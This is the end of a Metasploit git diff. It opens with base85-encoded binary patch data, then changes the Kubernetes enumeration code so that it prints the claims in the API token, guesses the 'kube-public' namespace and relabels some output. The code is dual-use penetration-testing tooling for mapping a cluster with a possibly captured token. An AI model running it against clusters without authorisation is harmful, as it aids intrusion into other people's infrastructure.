zP)UgSf3;3hMjUnr_Yxv6?Ti~I^@38kg1jr>Sxw~jtyAm_Pj-Lj7TUF_cP_C@TG{Rf zHb}|duan4{1`zSQQJ_r%fBu|TiUA4KOWyMpL9^A46lvp9 zwoBh|aR8M7szNM(rOf2x*6SjutDaU+&P^3pS|$P6F|F7SAfD>Z_p z&FZ_rd)ue{J(mX%k2yb*uDbn{#&pcW&R~)6acX74N`7ra0d1mW5nJc^0P5l^8!_oe zKw@Rc`7qyN)!gPnD6c!c>rT~IKKi9UP53{O$(7mvO8x)Y^V0pF`OjDWe+SPR{QuRb z#8v!@t%95uC$3i*eIC;(g~CB!;3m%M>Q}8Lmqyx+hvfM#{K==Mv(bouBJECDrb8eP zuxKBqj07+Z%+4p4Ds)61EWEnPz(`jiU=Nh?rB~;#s+~s!|8|P#CDfUxLq^))wn_VA z`|3#1bmB&{C|Zzz&1l3&oP~rY2_PG^eq}g1wAbbv26B};C_{Bj?m3 z!f`2-r_`X)y!$G|H?h4DZcMKpoauDnDEXr^g*Er<+5i@*FgF^0cO7C|u79p1LbOt` zc)0i?X|Y~UMrzE^^9a-B2r-|rrpT>bl|9`*tqe<*%Fxi&EkD@$&Ojt z>ISw=Iz9PMHQhQ@DK9+WtKMFFD^-qqb6e`ZkNxy%BLATW@@?J!^mcYi`5(K_o_>}8 z?&MiR{!6cakRB}CT*5aU-Q-xMyHGi`{_Ry>1o<|Gr2-={dl2_po3y8k^v`7%JcXe; zKOaW%HRDi46M#VW*6zjI9Sq5(VJ}Xb7r6a6lo-RtJ z`CF^>+^v|P+|VzJ2aY}J%Kg^V7CJUyvPk#Y=?b0{rJJYBwvPQ{|BQ7o2i0d<`S7o8 z>I0h1fJ47p@GSD3bGB&2b|AylHMkCDs5)oh$JqYLTJDCmoU=uBNYGo)=3p8*jsaa) zZ*W-6luFG2doMA^Yi{FK?3;Yzxzf(b_sF|7l}9vRd_$AOISPB8R|b}sgvTNKw5-=R zDbV%KQ!BTd8)EftOM|$CB$8>#*_;{Lf;go}G8!((5LCmk(XPxwrqHVHxp(9O-kjQ$ z--V=YBbLJV`J8dZ7`k3XT-{E4le8likM*QYdRNaw@^PA>fm}ejCGhxkbIcV{S{QO)wigN`S8N8%VC_#7=|D`~f8t<&%a2xMOD@vK z`IT0%r7gmO@tzUG)W4#1hT8%8)#%s>AD-LdPiZwc>l9@7XNZF#sJJGi13m^Bzceu8 z8;j}K(q>2`jYBa_Ck}_fQgAfs;aek;@Ck%_W2|~k=sKs<3@P4Mj(3u8XA?Os= z0~L8-%@9AQC=at5HYnUU`-7Sdto?LVj3VhY4pOY&YAG}LCMCJOm!#cx4C5OIPvPeb z{bKsj^o48c2DU5bweNLFU{^YAY-#k^cKR9Fa*=n;G>=p;X8LEg_)&_fp=3YnxKY>( zwxPWma$e$mbsgB4eLBG_ zq5UX&%{A!3?caX;)te2{{-14fX^sb_C3)6#@Jz-7DbLPC)*`p%)MPdqMXYl3RVT?T zA#Nt>?QB{CZ^@9=Zi6}DH1SEc-VyG?9_W-LlFhl8Den}wJJLz0AWo|$@+r1lC6(Tr zNO;2{g2T3RSBKNr6hIH_X=MM`Leeq2t@w{#@A=cO_Wyf&){p=8V-!!3G6?wmR&rHK zIz!VS3o=a8a|~IvEzWDuG#I?_sZ7-bHW>8qTl=@RA7|;G_N)4$cu@^mEjC|S{KI>i z@c%5n^J*u+3jW`H-Yxq7^?EyB>p$Pgvljo4LnalW)+h*Zf2psAqnBllG!=ouBp)eU zaTK7jps8O>`4a^WUb5fMGs8v3`E(MwH-1ogRrLVB%SJFyO&kBD(`d80_XCP6ZnFQ; z3U+J$zfZfR{ombr`ZfOdPM$UPKL+#h7_;ee5rgr3Y_x2r^IDsJJqJKivZlr{({|r4 zSGHZ!L;EZA>9`*o@`aiYce31$(%t!2!wla$6R+a=dn#QSANDB`Qro&tIKb!6FTdG1 zpAFbhM=&|g9MDNCIyJ82WTP;x22DDG{Gmi_nB&X#pJ1sCObZP9`~3NHn_Q9sRqXjw z(&>b3C_=VbVL1F((9nrD^eKBGg87E zaD+%A4i*Vz{(#JoM(VX_dp*E}cR&^UvD6hTfu#%?#c%jWMeS%=QjEG58w8Ds0okle zYLVF$Ye%WMoz>X^Jd$GSj!ay^l`FUODkHrx#ec1}vq}SJ7A1p?z1Zr!IwdqtlQ zi@y1O_D-@nlZyRpe%yOW>_2U*JeB!Pi;H}vV z9)|q+^|{}tiTr;-Wz6I8l~sV1_TO&F{`+EQ_pAJW7tb2<|F1{}gbu_^+l22@L=j|$ zrsHK|e@a2N{TUrEN&k5wgkHwyD@XHfrZf)8MrxU8JEy}o@e+D&+MHs=?46f*L;E9- zL(=ZZ-+l|f{pM0l=+3j}du>cN_Ur!1+oQKX?U9oVdlE9uhMI+B!-(Ww;?U2Z_slP* z&F9aXTf_<*ahm%Y6Z+sqcC;Xp88lfOV&oH@3m%qd+g1)qpnM5rpl0!$OA({nG&pD0 zXP~xo!=!RasApi?(KHS__A4Fpm5$f4<=HO29v=UPJPr82=WDY4aY&V-aVY5;hrufQ z&x>cz3jBX}_xacS&v){y!T+s?4kHJS28b+{dceR}pSZ5q^iQiHu zE9b_|~40O()mWJ`1kz6}n6|!raxnFN9U(#b8-7tY&H zTKlt4JmOR?$Y>U$m}E`XP|AdlC)(N4ge(N~EahD*cY+HHU&4*PC!US0h{&j!S6mFi4|*J++|hEnSayFw{l(i ze@Z2%;b1LO&}C z)bGA=J2HR8l&&T5yZ&}KI@6OY3;l($szrV(hZC+DRO@X5kk`C8(o9e4Rfobjh7+3( zHEP3&5V}Tnklw3y?yD8!82;?s47@RB_UD!TSF10}`=78R;zJ;jI&{h{%A?+oN>p5g zTD2(GuwFH?B+xM{c*ELJ4uU*30HjX`SBW_+(NmR%l=pk{3uxqE*ev@m-?S3yX1YAd zH>!pf-Kl-_F+aS|T-qL~x0g&p&7P^JzKZq@h%oDQ3)55u)AAYnucF8|IpA(gm%qWY zz6sn{Q0CpR72{n+k#9K64Xg1Ei8a>!iYk2FDA!cr-LMZ_efQbvI(sZ9v)!Wdev8{J zhr)ICnSUa!v$1OW-LPTC?B6w3Hj|>i$W_h2U$LS-m#kVb|Mv$T;<~o|N5o@sqxPR( zclUYe{;3PYJXf;+7#cYI;lE2Z{vS7Q1hNG7aEw4cw)K`E1pAt{ApcXhWDqJ( z?|KFy+y6!kLiw?33_{DzIQb!J%s4BJN(H3qjY<#AAaqDI9Z*&5AKIVq%Aj=0oQHqe zl!WhAjiX6%v_be^c#vi>%gO!=n8mPz zzlW~#)pVTI#yCSb1(XZ0+`dh&a9}+so19|0fk`goI;)Ivwq*mN$Mzk?bSKRidV>}? z3&>a7TT@x$=4@{uTMceRZEOJdRcr!w*e~1mW|3H9-LGnUs~P3Gwl_QM1Gl|3w$RiG z$hT>sxnVV?7Kc@48gD~g!Ax_jCedXY#}{HeTZY1Q*x&7&MDN?^@_?Ro?SEPO<|e=u z_P^e<7tf3KzvsJO^Z(q*a~1pFG19>4|9XAn)<2KD9*hAngQ?#9m$kW`1XgsGV_-yBZs_wqT&<91z9rL>pBlDrM^ZhaJ!B~ z%Q1UMW{s=K^&uPbkfo`mZ3QVtY&K8}=dwesOl&j70++%xmu}~rEjnVdC9&YgV!WYt!(9e$0JXq6exkSvX{-i78i!}(e_>t8&BGsy%%TcsZTvHF0YD?8-9-SrXVC^^7 z9r%U~VjhZXQq0xNVoL_Pre(}utS`ejR+9PFT!I?8@fPhfH!J@)#^_eKN7nS0^g4Sr z2LXAwyfv55E%EnQQW6>SNn5Krm0QNOq+L3Ns=s&(oWvJauf|I9;_eqr#g+Kn9C!04 zdQDDO9CgJ|H_Y$+uO(M!d6mlR7fdd-IISR=8j?r~+uWyzW$hlMA$nc=uVf)#Hxb;5 z_}}L{PmA{7ooBl{U+uql@wBdD06sB9@ZYthA-j18P^7R2WBmni>J7i}`g%5B{KD;+ zdrOnq%rJ}Hn%QJ)eKT`|oU?@r5@=f(2$IfG$^Xs5_e`o98(wZOuS+n;K5fi{T5rYH zMg)}$vQem!R=}fO<;}6VvRAnS`&T7u&URR5aKBb5%3=lUYCp8H4`;}gZ=GCgs!|){ z>PhmOHlCgwl)ospKf|h`>#e6H;ngtC6gyrE%+=<6Sg@P4>CduRxQ@SKZbs|Ps40F1 ze)nlB{N?R-p0itlqL%pQ`7P@W+<7)z`{A{n^8BxV`PS=IwkTwx%g*C!#=o8gs(OrT zs%JRpgS0#0sfM}Yoi>KpH=b!Q%h<#578R`W^+s$_axb{asm0PR% z_vu&t|1O@ZsQ*?OHf=!7AF#5fkCHpIhb?~~;!(E?b%l$99MEu4%3P{(6C z6puaGC0NjDl*@CLsd_cmluY2LwWd^m*DKt;-8{jXt^c&@``FClW`PN*rq!RQcZ+Bs z@n?q^)`|&I+gMJOTDO*eiH3u8p=&iJTODgj5&h-TS4w5B*woV9z8a@mT-wDHbt|`I zuE3ZtCwqT>-86T*X$ne6Y4k$n`?M((!0_<%%*Y1A1ay;8eI5Iid#7lzylRQ2Y{%6F zccQTE5c4cl?Y3`q3fh@kwCOUkdB2n|!{?=IaKBoi*$(z7%QYD@eK3=f#hFR5T`Go3 z<1pnMxq5n~FRfJ;(d%CXBhzlkS*A!2u?dp)-f!`5v2#}ZtNJaj(1B{oIR=|Geqedq z01gjD-AZgNEzm;4kUZ{mj96q8v6tVN=9UW>C}T&vdu(RE(>QEBA~74I6ZHlf zEv&OD`EQ#6c^5|uB4X%iKq3i~B;qj(TEXGz$5V62wH}cJAW-uD;FN@1s#Y-OdK>;9 z!EXhFf6Hz7fA_;=ylwu^{Zq~3?QEa{9iGn;(0x?vNuVy0){|gB&s$FdJxy9q{;$>} z@}5dAW{MmgzEZ6qk>U?F)UAMrjBaB)DgI~$b2Stp+x~*=6}9{S~f zd;LESPg<>hzi%Y#R>%?-hb$g)W~Fy?w(i;S;GDNc);-b6SC~PATj~HS}kDGD2OCd z%z4NZp>EEdUC-c^FsaDJgbycVNMj=c!NmZ?LCjes5)!iuyB@X#9Z*AQ{WskqL8dgO zVxbNO<~{%%|HIF-0i#KxveC}%FR&a)G9gPMv6vd+&Tc;zO#L+A?%MhDwStBup@*Y5r;O zU5J?^G)cY4>^?Y_3~ULCYo=PQjt_1x=L9+mK`-cH7o+1cGarT`7#WEu5*JuL za1dcVU%WeUltAZ{NAS)nes(8Y5&`Fzp-31gh9Mt~7zpi(4Kqj|k^Rw#$6Rv*=cNJ4 zoZ>uWv6%oSiT_-ZL#Bq3gO*4dKbPdyrv$4l9>vK_ukO&g>@0s)y}zk$m#s_Ew>zGu zGZn-lWPuVR-6xj>3pEo;%n!u8vU9pX^_N%8)+Oot&euP_d)KyRmaNS35Bn!=^Z)<5 zz1b(rAem4Z<{&XY+%+VL23}A5z@vuSsk9JR+Fi|`s(rY6t6g^st@~7cz+dR0H^+hD@AfF~=TWum zZup|6(y(}s2fN$m4Ll`>5jULC#U$}jTI|*vpKt}12gUSeU??Q$<6%Zz3GiAdhf>6U zh(VCa9sM$tG)bgLBnK;Q+7M0|*Z&GDz6O-p*_{WpDU@FSTZB?+s@Z53DV7JbDU^Qy z+k=wF5VCXS6?gsDo5*#clmj{}fw%^gCqL{T5XqF7$st<@*fn=gSOsKbC=X5!uP~A8 zLYat&4;N)Xn?i~GZyQQy3o^o|52u4tp?e2MyFW<(Ag9hV9=IFqetT0;!lC&}N+H)e zE^qy$ys2kx$+y|4Yn<7)eq7(wb31_g8-W3x1+!!s@JrSAJIQk-JhLul)Fw z%VACMKmBwny>rE!Dhx?yG>akvEx~qGUI9xx(Bwo2-A;vF=W3%T48KL%E>ifL{uWV; zkq<|%+wU8Xpp6tlZ>Em4O3N9fbPGrY0?90j(8*r)D-k#p!*eE)2FVEgi^w#lE*y|L*@|@A`V%xRLn# zehNYg;5g9AmR;m}27*H_SM-dwu~FyGLr_%IE+w&EksFedv(4qZA2>sDxst3umSQ_V z_91YzTyi)wBxlH(A5RWz-ZT*}`pY`LK-Jy5?@>eQBqtp<3HAOvxon0&+jKksc27(8 z{Y@Zyd$#ki_cXzLGs}McG=`0He+D$WW+Lw|;VSvrh0_q~hmTWC;=UqG*x`d`0d{eg zIM`lZo(Fq23>VGRjAzWpE=k!6zgRsf^5sgr#C(6`&niAS*}W>L)^?Tb-^M3CS8yG_ zzDYj8to|zJVZ^VN zUh{z0mVc!ft~Y+8*uJdD$0;o=zjH#%63AHGZQ86cAlqpqmW580#kAhC-biM*DvL8e zR}b?YZMAREM%(gPJ$3D9dwqkZ+m=tP_!tw~9Mr+Gn;+ILfONHNyhXQwa=XOMna{v? z1KUoiSJNRR>9rLDD(p80_PI#mYgTRE z>Q3wnIGJEZKO~P<^)O;zy$6VqD*Yww3jyv@5ygz+Y{nq$kq-$i6r*`XGFTb%ZtPDq zaw1ZPr`F^UX}N%({9W_B-80#@-D@rWcG5Z|t%8Y>8MjF9n6$J}QjBV36+8dCW*UFj zO57p%eTU$;uz`eSUwT^?_dI1tJ6NWDAW_|KoFn)|VC$W+8AM}-1PISs&p!OVOV+Y) z`QiJw^!RnyNJU3%e<3#yv*_+GQ0HM*z5Rvv1kEk2ou-ZT)t672QGq4DHX z(exHo#LSlFiV)J(LYf@WV>vByf+Qdkg>R-49E_o2AE!*1qVgYS4F{zEq;FSH>zO#M zeQWso4TrCL+PgPJ-(ZvXE2`Yys*ZJUNx~Se@c*9jA}37DxRPRmd0>h|ASxK^cs@$e zeAvd83o5%Tb#$8rf3X{Lsb^uo4^D>^Mi1){3+(L^OoiQA7uFatzIX0dXe9MNHqTq; zyD^vah~}!P=YpYCvxx?%Zw8UHyTlvsTpt8jq64pKK^eTLu_d`eqojE#IIb( z0i&7>xzZ-;f~6SZ&#B8L&0SZea%G)w2!=D5^s z6}uoR^xbOKac5W7#}Ap$P2c`pkc?{BcdP19r%sf0f{{t1`sj5mZ~U?uEu~#@Wu2LK zF+$28Pum_fV1^KjYvk92>*z0&pD%Jd#tk_)M7gzv5`?y>ruA?%dcOLop2QF z2M}(bfv+@R7)WdBf$cbMTp)rbQaGTHN=}ghQ_YB@!g)>pPz%}gmFA;0@>_QITz_l% zMYj*`MTCp;i*D0;SP@3R`1c~kHS(JSlMd$t+sUs19=?+V7bS-2&D3UM%@OI z%c#~=+h zyZnJe|DGzr#b~`Zzk%nzlXJb+9o@k7+b#Si(&`(>m9COS!Nuqe9oe&EAO|D9oaas@#9MsvEO{k8N6KqvAmV&ypP`Qi~)8-}`bO$rHN=?*D0hzh)yuzMCXD8%!g14-kWUfi>6{pAZMr z70hl0zh?H0)o%95C`z~(N;Sb4U<69hv5*j*+v@g90d6uC8FQ5l*jdsJY8h)>yMct# z)R(s9|1HvQlSup|mPFDf*mXyd!y{>v=+vm!jC`mBq^yGudDacfoBeCLFSE`0`AT#b@r-*LT@+3fqZR~h_Q1FXcOQ75Z#9J zim2J3v(31oT5SQbXH73-a7!PK5;|-No7$P`y-RKc zpi-il&>S%0U@U@#86*905su6{M9T>yhEJHb72Hq(gK}iQHqzFv@N~G8T64%tuCQ4! zA;yd=JmYaWyBD^T+$0-ZgP_;BZ ze~wP&o#FpKGI;(26Ir+@`OBB2(doP_>K=EyU5DPu#Oy3w8SZhmE?-_Ph*}#+D#>433QOLL*5|IB^SY59ereeWj%xP& z2a={a%Vf?DlVyzP-H8#sm=V4GFrxPr7|~nK2#*i=*5e7d@IFa;-Q(_Yl6<%j!GhMK8P zlmN8G&U# zUHsZjl4sA}Llm7O{Dvt;xC3cq4p@Dj3IBTbEJ;#w>7$$7&l=g`0S&RgkcQMWPx|Dk zn?QgKgNh8K8RJJM(7jX7`=}x-Swysi?lv0wjRxvbK&=YU zlDke}c+w&Gz!?=*r*blpz@^&r#Z4j0-F^&%gK=OD~oiRZbmjNj)q{vd; z{5qFR+vfd*e zm)X>MIUu#wV`p~q=j`;)2_K<|kJ{nSbgEgJQO)$B8zt_Q7@_cdAB-fkQ>!d*H5*O~ zQgCstQ5Ss6w#5bzu9+ICI4$&%VpjgsJ=~lvZOd9vttRC q+CD&g>Fgvm(*1e*Eg@@vf4)E8pYPA(e*PZ-0RR8DfSyPIDg^*ah@$ZT literal 0 HcmV?d00001 diff --git a/lib/msf/core/exploit/remote/http/kubernetes/enumeration.rb b/lib/msf/core/exploit/remote/http/kubernetes/enumeration.rb index 652990208fd8..f58e188ef522 100644 --- a/lib/msf/core/exploit/remote/http/kubernetes/enumeration.rb +++ b/lib/msf/core/exploit/remote/http/kubernetes/enumeration.rb @@ -7,12 +7,15 @@ def initialize(info = {}) register_options( [ - Msf::OptString.new('NAMESPACE_LIST', [false, 'The default namespace list to iterate when the current token does not have the permission to retrieve the available namespaces', 'default,dev,staging,production,kube-node-lease,kube-lease,kube-system']) + Msf::OptString.new('NAMESPACE_LIST', [false, 'The default namespace list to iterate when the current token does not have the permission to retrieve the available namespaces', 'default,dev,staging,production,kube-public,kube-node-lease,kube-lease,kube-system']) ] ) end def enum_all + token_claims = parse_jwt(api_token) + output.print_claims(token_claims) if token_claims + enum_version namespace_items = enum_namespaces namespaces_name = namespace_items.map { |item| item.dig(:metadata, :name) } @@ -20,12 +23,11 @@ def enum_all # If there's no permissions to access namespaces, we can use the current token's namespace, # as well as trying some common namespaces if namespace_items.empty? - token_claims = parse_jwt(api_token) current_token_namespace = token_claims&.dig('kubernetes.io', 'namespace') possible_namespaces = (datastore['NAMESPACE_LIST'].split(',') + [current_token_namespace]).uniq.compact namespaces_name += possible_namespaces - output.print_error("No namespaces available. Attempting the current token's namespace and common namespaces: #{namespaces_name.join(', ')}") + output.print_error("Unable to extract namespaces. Attempting the current token's namespace and common namespaces: #{namespaces_name.join(', ')}") end # Split the information for each namespace separately diff --git a/lib/msf/core/exploit/remote/http/kubernetes/output/json.rb b/lib/msf/core/exploit/remote/http/kubernetes/output/json.rb index 434758a0e78a..c5a7d2df3162 100644 --- a/lib/msf/core/exploit/remote/http/kubernetes/output/json.rb +++ b/lib/msf/core/exploit/remote/http/kubernetes/output/json.rb @@ -23,6 +23,10 @@ def print_enum_failure(_resource, error) end end + def print_claims(claims) + print_json(claims) + end + def print_version(version) print_json(version) end diff --git a/lib/msf/core/exploit/remote/http/kubernetes/output/table.rb b/lib/msf/core/exploit/remote/http/kubernetes/output/table.rb index 8e37db544f0d..cdef6d3c52c0 100644 --- a/lib/msf/core/exploit/remote/http/kubernetes/output/table.rb +++ b/lib/msf/core/exploit/remote/http/kubernetes/output/table.rb @@ -32,9 +32,19 @@ def print_enum_failure(resource, error) end end + def print_claims(claims) + table = create_table( + 'Header' => 'Token Claims', + 'Columns' => ['name', 'value'], + 'Rows' => get_claim_as_rows(claims) + ) + + print_table(table) + end + def print_version(version) table = create_table( - 'Header' => 'Version', + 'Header' => 'Server API Version', 'Columns' => ['name', 'value'] ) @@ -173,4 +183,19 @@ def print_table(table) output.print_line("#{' ' * indent_level}No rows") if table.rows.empty? output.print_line end + + def get_claim_as_rows(hash, parent_keys: []) + return [] if hash.empty? + + result = [] + hash.each_pair do |key, value| + if value.is_a?(Hash) + result += get_claim_as_rows(value, parent_keys: parent_keys + [key]) + else + result << [(parent_keys + [key.to_s]).join('.'), value] + end + end + + result + end end